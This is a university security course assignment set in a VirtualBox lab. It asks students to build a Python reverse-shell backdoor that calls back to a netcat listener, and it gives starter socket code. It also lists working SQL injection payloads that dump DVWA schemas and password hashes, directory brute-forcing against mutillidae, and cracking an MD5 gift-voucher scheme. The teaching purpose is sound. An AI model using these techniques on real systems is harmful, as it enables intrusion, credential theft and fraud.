Assignment

Due: 11:55 pm 28 August 2024
Total Mark: 100 (30% of Final Mark)

General Instructions: Please read the following instructions carefully.

- You must create a folder (directory) for each question. – Create folders named as `Q1`,...,`Q4`.
- Answers to each question (which can be essays) need to be saved in each folder.
- You must install a VirtualBox on your laptop or desktop. In the VirtualBox, you must have at least Kali, Ubuntu and Metasploitable virtual machines.
- You will have to take several screenshots of the results if asked. Those screenshots will be checked thoroughly using the hash checksum. (If the same checksum will result from any files submitted by two students, all of them will get zero marks for the assignment.)
- **You must use tools and Python modules you learned during CSCI369 lectures and labs only.**

***Important note**: You should submit your Python source code with readme files (for explaining how to run your program). Not doing so could result in a reduction in the marks.*

1. Make your own backdoor program (20 marks)

   As a hacker, you want to write a backdoor program, which will be delivered to the victim, who is a **Ubuntu** user. If this backdoor is executed (on Ubuntu VM), the victim's Ubuntu machine will connect to your Kali VM. Once you've got a connection, you can type any non-interactive Unix commands with options, which will be sent to the victim's machine and executed there. In other words, you get a "reverse shell". (**Note that "ls" and "pwd" are examples of non-interactive commands while "cd (change directories)" or text editors such as "vi" and "gedit" are interactive ones.** You are allowed to make your backdoor interactive commands usable, which could be considered favourably during marking.)

   Your task is to write a Python program to implement this backdoor. (On Ubuntu, you should be able to compile and run your program using Python3.) There are a few assumptions for your program:

   a) On your Kali machine, you (as a hacker) will run netcat (nc) to wait for incoming traffic. That is, you run `nc -v -l -p 5555` on the terminal. (This means you don't have to write a server program.)

   b) The backdoor program is, then, a *client* program that will connect to your Kali machine waiting for the connection.

c) As your backdoor program is malware, you do not need to consider the sanitization of the Linux commands. (Refer to Task 2 in Lab5.)

d) **You should start with the following Python code, which is a client program based on Python socket package (**https://docs.python.org/3/howto/sockets.html **).** – The code given below just connects to the server, receives and displays a line of string which is inputted by the server's user.

You should modify this code so that Linux commands you type will be sent to the victim's Ubuntu machine, executed there, and the result will be sent back to your Kali machine).

The connection should be continued until you enter the symbol '&'. Once this symbol is entered, the connection should be terminated.

```
import socket

kali_ip = "10.0.2.15" #Your Kali may have a different IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((kali_ip, 5555))
s.send("Connected!\n".encode()) #encode() is needed to convert
your string input to bytes to be transferred over the network

received_data = s.recv(1024).decode() #decode() is needed to
convert your byte result to string to be displayed
print(received_data)

s.close()
```

Hint: Save the above code. On your kali machine, run the netcat (nc) command described above. On the Ubuntu machine, run the above code and see what happens.

Submit your Python source code named "backdoor.py" and *readme.txt* file that explains how to run your program.

2. Further SQL injection attack (15 marks) set up DVWA yourself

Turn on Metasploitable2 VM. On Kali VM, open a browser and type Meatsploitable2 VM's IP to connect to DVWA. In the DVWA, change the "DVWA Security" setting to "low". Then go to SQL Injection section and complete the following tasks.

a) In the input field of **User ID**, type `' order by 1 #`. You will not get any error. This means you have at least one column in the database. Instead of 1, try any other number, say 10 (i.e., `' order by 10 #`.

You will get an error this time. This means 10 is too big for the number of columns. Keep trying this way to find out the exact number of columns. How many columns are there? Your answer needs to be saved in `Q2-a.txt`. (3 marks)

From questions b) to f), the number of `null` = the number of columns -1.

b) Now enter `' union select null,…,null, schema_name from information_schema.schemata #`. Here, you will get all the database schemata in the system. (Roughly speaking, a database schema is an organization of data in a database.) Take a screenshot of your result and name it as `Q2-b.jpg`. (3 marks)

c) Now enter `' union select null,…,null, database()#`. This will give you a name of the schema you are using. What is it? Your answer needs to be saved in `Q2-c.txt`. (2 marks)

d) Now enter `' union select null,…,null, table_name from information_schema.tables where table_schema ='`answer from question c)`' #` . This will give you all the table names of the database schema you are using (the name of this schema is your answer for question c)). Take a screenshot of your result and name it as `Q2-d.jpg`. (2 marks)

e) Now enter `' union select null,…,null, column_name from information_schema.columns where table_name ='users' #` . This will give you all the column names of the database schema you are using (the name of this schema is your answer for question c)). Take a screenshot of your result and name it as `Q2-e.jpg`. (2 marks)

f) In this question, retrieve first name of each user and a (hashed) password from the '`users`' table. The structure for this SQL injection is similar: `' union select … from users` (Note that you do not need to use "where" syntax in this case. Replace … with appropriate items.) Take a screenshot of your result and name it as `Q2-f.jpg`. (3 marks)

You can use other graphic file formats, but make sure that it can be clearly visible. Save all your files in the folder `Q2`.

3. Web crawler for searching for subdirectories (15 marks)

Discovering subdirectories of a target website gives a hacker many good opportunities for local/remote file inclusion attacks. In this question, your task is to write a Python web crawling program to discover sub-directories of Metasploitable's mutillidae website.

A skeleton code to start with is as follows.

```
import requests

meta_ip ="10.0.2.4" #Your Metasploitable’s IP can be different
target_website = "http://"+meta_ip+"/mutillidae"

directory="documentation" #This is an example
# directory="addnews"
url = target_website+"/"+directory
response = requests.get(url)
print(response)
```

Observe how the response value will change depending on the subdirectory exists or not. (Note that “documentation” exists while “addnews” does not.)

Then, download "dirs.txt" from the assignment section in our Moodle site for the possible names of the directories. Your python program should go through all the names in the `dirs.txt` file and print all the URLs that have matching subdirectories in the file.

Submit your Python source code and *readme* file which explains how to run your program.

4. Gift voucher code cracking (50 marks)

An online shopping retailer runs a server to generate gift voucher codes for customers. More precisely, the server will generate a gift voucher code if it receives a client ID from the customer’s machine and sends the generated gift voucher code to the customer. The known technical detail about this system is that the server provides this service using UDP on a port between 12345 and 12500 and uses the MD5 hash function to generate the voucher code.

The gift voucher code has monetary value and is sent to the customer for a certain period only. However, as a hacker, you discovered that the server admin forgot to close the port for the service. You want to generate valid gift voucher codes on your own using many client IDs you collected from information gathering.

Your task is to answer the following questions as the hacker.

a) Run the server program provided with this specification on the Ubuntu VM by typing `./executable_server` on the terminal. Then, use an appropriate tool you learned in CSCI369 to identify the open port between 12345 and 12500 for this service. (15 marks)
b) Assume that you use your 7-digit UOW student number as a client ID. Based on the port identified from a), use an appropriate tool

you learned in CSCI369 to obtain a gift voucher code for your client ID (i.e. your UOW student ID). (15 marks)

c) It is known that the gift voucher code is generated by the MD5 hash function, taking A||ClientID||B as input, that is,

$$VoucherCode = MD5(A||\text{ClientID}||\text{B}),$$

where || indicates append, A=[aa,ab,…,az,ba,bb,…, ,zz] is a set of two lowercase alphabet characters; B=[##,^@,…,^&] is a set of two symbols (allowing to have two same symbols such as ##); ClientID is your 7-digit UOW student number, such as 1234567. Using the hash cracking tool we used during the lab, find the two-alphabet character from A and the two-symbol character from B that the server used to generate a gift voucher code. (20 marks)

Create a text or Microsoft Word file called "Q4_answers" and write your answers there. **You must explain how you get the answers in detail. Answers without detailed explanation may result in 0 mark (even if they are correct.)**

How to submit

Put your folders Q1,…,Q4 to one folder named as your surname followed by a UOW student number, e.g. Greg5284611. Then, compress this folder to make one zip file. – Note that only **zip** format will be accepted and other format may result in zero mark for your assignment. Submit your (zip) file through Moodle.